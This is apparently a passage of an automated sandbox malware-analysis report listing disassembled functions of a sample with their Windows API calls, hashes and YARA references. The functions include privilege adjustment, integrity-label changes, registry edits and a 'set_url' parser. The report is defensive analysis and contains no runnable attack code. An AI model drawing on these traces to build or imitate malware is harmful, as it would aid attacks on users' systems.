                                                                                                                                                                                                                      • HeapReAlloc.KERNEL32(00000000,?,?,02715084,00000104,?,?,?,?,00000000,00000000), ref: 02704251
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$Process$Alloc$Validatememset
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 3638075499-0
                                                                                                                                                                                                                      • Opcode ID: edf75715cfc3c82691e1fe32fdca7454b6863415aa8d4a3b033919056f919ba2
                                                                                                                                                                                                                      • Instruction ID: 70684c184700b97c4612bd738be28081adff45dab9149e3877a409869e0fd1ee
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: edf75715cfc3c82691e1fe32fdca7454b6863415aa8d4a3b033919056f919ba2
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 9601F7B3B81610A7D72156BAAC8CF477B5CEFD86B3F158221FB08C7280CA31881482F0
                                                                                                                                                                                                                      Function 02707810 Relevance: 8.8, APIs: 7, Instructions: 50memoryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                        • Part of subcall function 02714980: OpenProcess.KERNEL32(00000400,00000000,00000000,00000000,00000000,76ECFFB0,?,?,?,?,?,02707967,00000000,?,00000000), ref: 027149AD
                                                                                                                                                                                                                        • Part of subcall function 02714980: GetProcessTimes.KERNEL32(00000000,?,?,?,02707967,?,?,?,?,?,02707967,00000000,?,00000000), ref: 027149CA
                                                                                                                                                                                                                        • Part of subcall function 02714980: GetHandleInformation.KERNEL32(00000000,00000000,?,?,?,?,?,02707967,00000000,?,00000000), ref: 027149E2
                                                                                                                                                                                                                        • Part of subcall function 02714980: CloseHandle.KERNEL32(00000000,?,?,?,?,?,02707967,00000000), ref: 027149F3
                                                                                                                                                                                                                      • EnterCriticalSection.KERNEL32(0273FB80,?,00000000,00000000,00000000,02707AD4), ref: 02707828
                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(0273FB80), ref: 02707844
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02707869
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 0270786C
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02707879
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 0270787C
                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(0273FB80), ref: 02707887
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: HeapProcess$CriticalSection$HandleLeave$CloseEnterFreeInformationOpenTimesValidate
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 3901171168-0
                                                                                                                                                                                                                      • Opcode ID: c01e1404758494dbf0697e421c83c755ce4bb3b93748958d33569e0902125408
                                                                                                                                                                                                                      • Instruction ID: 1b05dd8a1fc6c97bc981516f924d30eb1c571a785cac52c5e8b4521a411d309c
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c01e1404758494dbf0697e421c83c755ce4bb3b93748958d33569e0902125408
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: EB01D4B6E81310EBD7245FA59899B6BBB98EFCCBA37518419E14593280C770A814CBE0
                                                                                                                                                                                                                      Function 027159D0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                        • Part of subcall function 02715930: GetCurrentThread.KERNEL32(00000020,00000000,026F358E,7604DB30,?,?,?,?,026F358E,?,?,026F3751), ref: 02715940
                                                                                                                                                                                                                        • Part of subcall function 02715930: OpenThreadToken.ADVAPI32(00000000,?,?,?,?,026F358E,?,?,026F3751), ref: 02715947
                                                                                                                                                                                                                        • Part of subcall function 02715930: GetCurrentProcess.KERNEL32(00000020,026F358E,?,?,?,?,026F358E,?,?,026F3751), ref: 02715957
                                                                                                                                                                                                                        • Part of subcall function 02715930: OpenProcessToken.ADVAPI32(00000000,?,?,?,?,026F358E,?,?,026F3751), ref: 0271595E
                                                                                                                                                                                                                        • Part of subcall function 02715930: LookupPrivilegeValueA.ADVAPI32(00000000,SeSecurityPrivilege,?), ref: 02715981
                                                                                                                                                                                                                        • Part of subcall function 02715930: AdjustTokenPrivileges.ADVAPI32(026F358E,00000000,00000001,00000000,00000000,00000000), ref: 0271599B
                                                                                                                                                                                                                        • Part of subcall function 02715930: GetLastError.KERNEL32 ref: 027159A5
                                                                                                                                                                                                                        • Part of subcall function 02715930: CloseHandle.KERNEL32(026F358E), ref: 027159B6
                                                                                                                                                                                                                      • ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;;NRNWNX;;;LW),00000001,?,00000000), ref: 027159EE
                                                                                                                                                                                                                      • GetSecurityDescriptorSacl.ADVAPI32(?,?,00000001,026F5DE8,?,?,026F5DE8,?,00000001), ref: 02715A0B
                                                                                                                                                                                                                      • SetNamedSecurityInfoA.ADVAPI32(?,026F5DE8,00000010,00000000,00000000,00000000,00000001), ref: 02715A26
                                                                                                                                                                                                                      • LocalFree.KERNEL32(?,?,?,026F5DE8,?,00000001), ref: 02715A37
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Security$DescriptorToken$CurrentOpenProcessThread$AdjustCloseConvertErrorFreeHandleInfoLastLocalLookupNamedPrivilegePrivilegesSaclStringValue
                                                                                                                                                                                                                      • String ID: S:(ML;;NRNWNX;;;LW)
                                                                                                                                                                                                                      • API String ID: 2236266002-820036962
                                                                                                                                                                                                                      • Opcode ID: 93a4fe044e0c75925530abcba2a488ad7c7d43e3958c7e57a85812b5c6888ba1
                                                                                                                                                                                                                      • Instruction ID: 973ca0274eebad69246cb91e6144d5226740033cbbd0338e9620bddc19430e1b
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 93a4fe044e0c75925530abcba2a488ad7c7d43e3958c7e57a85812b5c6888ba1
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A5014C75A40118BBDB14DAA99C84EEFBBBCEF88745B408149B90593240EB71DA04CBE5
                                                                                                                                                                                                                      Function 026F3830 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 37registryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • RegOpenKeyExA.ADVAPI32(80000001,software\microsoft,00000000,00000101,?,026F3B17), ref: 026F3864
                                                                                                                                                                                                                      • RegQueryValueExA.ADVAPI32(00000000,d900db10a,00000000,?,00000000,?), ref: 026F3885
                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(00000000), ref: 026F3893
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: CloseOpenQueryValue
                                                                                                                                                                                                                      • String ID: d900db10a$software\microsoft
                                                                                                                                                                                                                      • API String ID: 3677997916-3622346954
                                                                                                                                                                                                                      • Opcode ID: 6f2cc88e9d61e3b36a2e08ee97bcfa1444aba144a106a59494c9f9acc0c066b9
                                                                                                                                                                                                                      • Instruction ID: 7c9e55364f2e1caa2e49f6057d0f1fd9c69bc13ef4b628d5d5829951dab4270d
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6f2cc88e9d61e3b36a2e08ee97bcfa1444aba144a106a59494c9f9acc0c066b9
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1EF031B4E40308FBEB10CFA4C945BEE77B8EB08705F504598E905E6280D77596108B90
                                                                                                                                                                                                                      Function 02704120 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23libraryloaderCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetTickCount.KERNEL32(?,02701163,00001000,?,?), ref: 0270412B
                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(ntdll.dll,?,02701163,00001000,?,?), ref: 0270413C
                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,RtlUniform,?,02701163,00001000,?,?), ref: 0270414C
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: AddressCountHandleModuleProcTick
                                                                                                                                                                                                                      • String ID: RtlUniform$ntdll.dll
                                                                                                                                                                                                                      • API String ID: 1545651562-3277137149
                                                                                                                                                                                                                      • Opcode ID: e5c3651a7c632665e72d993da398223ac01f83fb9d1df8b2434a648a03991c0f
                                                                                                                                                                                                                      • Instruction ID: a88e5c3336cc23da69a6f4e4d698d3c44504aa7267ac60c72efe6aa9ca657262
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e5c3651a7c632665e72d993da398223ac01f83fb9d1df8b2434a648a03991c0f
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C6E01A70BC07009BB7009B76AC09E5B3BA9BF5974A340CC25A516D1101DBB08A208660
                                                                                                                                                                                                                      Function 027043D0 Relevance: 7.6, APIs: 5, Instructions: 111COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 027043D9
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(Function_00025460,?,?), ref: 0270440C
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(Function_00025460,?,?), ref: 02704438
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(Function_00025460,?,?), ref: 0270445F
                                                                                                                                                                                                                      • SetLastError.KERNEL32(?), ref: 027044DD
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: QueryVirtual$ErrorLast
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 2886163261-0
                                                                                                                                                                                                                      • Opcode ID: 0c054a6fe93b7c04dfe55046dac862dee6f025aeb657ada1a411bc9c2e194f77
                                                                                                                                                                                                                      • Instruction ID: 650318e34e49a711306cea9fc7dd6ecefd06f97da0866b1d8172d3dba4f0318f
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 0c054a6fe93b7c04dfe55046dac862dee6f025aeb657ada1a411bc9c2e194f77
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 72412CB0D00218EFDB54CFA8D8C4AAEBBF5FF48300F54852AE919E7240E774A9448F91
                                                                                                                                                                                                                      Function 0270AAA0 Relevance: 7.6, APIs: 6, Instructions: 106memorystringCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • strstr.MSVCRT(00000000,027013D9,00000000,00000000,?), ref: 0270AACC
                                                                                                                                                                                                                      • strstr.MSVCRT(00000000,027395BC,?,set_url ,?,02701A39), ref: 0270AAF1
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,-00000012,?,?,?,?,?,02701A39), ref: 0270AB71
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,02701A39), ref: 0270AB78
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,-00000012,?,?,?,?,?,02701A39), ref: 0270AB88
                                                                                                                                                                                                                      • lstrcpynA.KERNEL32(00000000,00000000,00000001,?,?,?,?,?,02701A39), ref: 0270AB9D
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heapstrstr$AllocProcesslstrcpynmemset
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 2033102291-0
                                                                                                                                                                                                                      • Opcode ID: b0255851a72adecab4ee397ce1459aa1721d6ab01adb40a3e5178332b9493615
                                                                                                                                                                                                                      • Instruction ID: 391b41325665ffa812818dbb1aa1ee4f453238176d3dab78b83173da2a19c42b
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b0255851a72adecab4ee397ce1459aa1721d6ab01adb40a3e5178332b9493615
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 9C312772900315DBDB234E289CC4BBA7BDB9F56258F188625EE85CB281D772D9098290
                                                                                                                                                                                                                      Function 027042A0 Relevance: 7.6, APIs: 5, Instructions: 105COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 027042A9
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(Function_00025460,?,?), ref: 027042DC
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(Function_00025460,?,?), ref: 02704308
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(Function_00025460,?,?), ref: 0270432F
                                                                                                                                                                                                                      • SetLastError.KERNEL32(?), ref: 027043AD
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: QueryVirtual$ErrorLast
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 2886163261-0
                                                                                                                                                                                                                      • Opcode ID: 9128a652889f67eb1589e48c55ec820087a932cd22fe6448fb36d428657bc154
                                                                                                                                                                                                                      • Instruction ID: ce7e2dfca8b1082f5339cd326cca01e0a6fb6afcedbd8c3231a55ab25f43fb87
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9128a652889f67eb1589e48c55ec820087a932cd22fe6448fb36d428657bc154
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A2413CB1D40218EFDB10DFA8D894AAEBBF5FF48700F50982AE904F7240E774A9448F91
                                                                                                                                                                                                                      Function 026F13B0 Relevance: 7.6, APIs: 5, Instructions: 94COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 026F13DE
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(Function_00025460,?,?), ref: 026F141A
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(Function_00025460,?,?), ref: 026F1446
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(Function_00025460,?,?), ref: 026F146D
                                                                                                                                                                                                                      • SetLastError.KERNEL32(?), ref: 026F1498
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: QueryVirtual$ErrorLast
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 2886163261-0
                                                                                                                                                                                                                      • Opcode ID: 35c01a81dc7689ad95093b07a427dffafcc45a6441e70308c923dc4f0cffbc66
                                                                                                                                                                                                                      • Instruction ID: e3bc5408bf6bb145a6865f601110e23c0952447d876ae8d093f20f3e3f418503
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 35c01a81dc7689ad95093b07a427dffafcc45a6441e70308c923dc4f0cffbc66
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2E3196B1D00209AFDB40DFA8D885AEEBBF9FB4C314F50856AE919E7240E77499518F90
                                                                                                                                                                                                                      Function 02709730 Relevance: 7.6, APIs: 5, Instructions: 89networkCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • WSAGetLastError.WS2_32 ref: 02709752
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(02715460,?,?), ref: 02709783
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(02715460,?,?), ref: 027097AF
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(02715460,?,?), ref: 027097D6
                                                                                                                                                                                                                      • WSASetLastError.WS2_32(?), ref: 02709809
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: QueryVirtual$ErrorLast
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 2886163261-0
                                                                                                                                                                                                                      • Opcode ID: 02d234b1fd0e9ea837c697b36113acce6fb4c029d24ac7975f9c4f030b3b3a19
                                                                                                                                                                                                                      • Instruction ID: 44b4c9c19e3d488bb0b8db78d74c0ce8995e1d7ade4c94ec8ebc76827dd5753d
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 02d234b1fd0e9ea837c697b36113acce6fb4c029d24ac7975f9c4f030b3b3a19
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6D31C6B5D00208EFDB40DFA9D885AEEBBF5FF48601F50852AE918E7240E7749940CFA0
                                                                                                                                                                                                                      Function 027151F0 Relevance: 7.6, APIs: 5, Instructions: 83registryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • RegOpenKeyExA.ADVAPI32(80000001,0270369B,00000000,00010108,?,00000000), ref: 0271522F
                                                                                                                                                                                                                      • RegEnumKeyExA.ADVAPI32(?,00000000,?,80000001,00000000,00000000,00000000,00000000,00000000), ref: 02715264
                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(?), ref: 0271528E
                                                                                                                                                                                                                      • RegDeleteKeyA.ADVAPI32(00000104,0270369B), ref: 027152A6
                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(?), ref: 027152B2
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Close$DeleteEnumOpen
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 1912718029-0
                                                                                                                                                                                                                      • Opcode ID: 1d76f3bc08b990129c1ff5e717d5e61c34e75ffdbfb1e087171a72c6b6c05e7a
                                                                                                                                                                                                                      • Instruction ID: 02eeca7e4406d7b790e4dfe4ad87858ee7543857716b56f0e6dae969c6a0566b
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1d76f3bc08b990129c1ff5e717d5e61c34e75ffdbfb1e087171a72c6b6c05e7a
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2821A477A50218ABC724DAACDD44FEAB7ACEF89710F448555FD44EB240D6B1AE048BD0
                                                                                                                                                                                                                      Function 026F18B0 Relevance: 7.6, APIs: 5, Instructions: 80COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • malloc.MSVCRT(026F682B,026F6829,026F682A,026F682A,6908741AF4E26C68E1EE46F1041F009EECA931D2D53E11AD04CF03DEB7677754725005219D4B978D957ABA1678D353DE5AA0586B49E21F7EFFE2F73D7D2D8E26395286E1EA7A106CD617966D9FC5906C6E952289B4D671BA6ADE1B80ECF2468552F401D4D8134CAF4B56DC5F18B673710974A6F7A9AE9273979C092F52E8D7C9), ref: 026F18EF
                                                                                                                                                                                                                      • free.MSVCRT(026F6829), ref: 026F1918
                                                                                                                                                                                                                      • exit.MSVCRT(00000001), ref: 026F1923
                                                                                                                                                                                                                      • memcpy.MSVCRT(00000000,026F6829), ref: 026F1933
                                                                                                                                                                                                                      • free.MSVCRT(026F6829), ref: 026F1953
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: free$exitmallocmemcpy
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 2377537114-0
                                                                                                                                                                                                                      • Opcode ID: a99482bdc402f3833773ea88a18b5f2a152a80f3dc8ce8ec01aaf53f2a77ecd1
                                                                                                                                                                                                                      • Instruction ID: 2fef440751362acd0c3886ecb3a34c93334d4c512f7622589ec1baefd146d93b
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a99482bdc402f3833773ea88a18b5f2a152a80f3dc8ce8ec01aaf53f2a77ecd1
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 192181B0A00209DFCB14DF59D484B6ABBE5FB4A345F60896DEA9AC3300D771A560CBD1
                                                                                                                                                                                                                      Function 026F5940 Relevance: 7.6, APIs: 5, Instructions: 80COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 026F5962
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(Function_00025460,?,?), ref: 026F5995
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(Function_00025460,?,?), ref: 026F59C1
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(Function_00025460,?,?), ref: 026F59E8
                                                                                                                                                                                                                      • SetLastError.KERNEL32(?), ref: 026F5A04
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: QueryVirtual$ErrorLast
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 2886163261-0
                                                                                                                                                                                                                      • Opcode ID: 8c5f5985bde28d9af87e43e83a9c6e12a716e6f1036d254efb7fc3bdc8a8056e
                                                                                                                                                                                                                      • Instruction ID: 5eb06c12a2e14434dd40d55987e6bfa5ed6e1fa0541c209112e5d1d030914772
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 8c5f5985bde28d9af87e43e83a9c6e12a716e6f1036d254efb7fc3bdc8a8056e
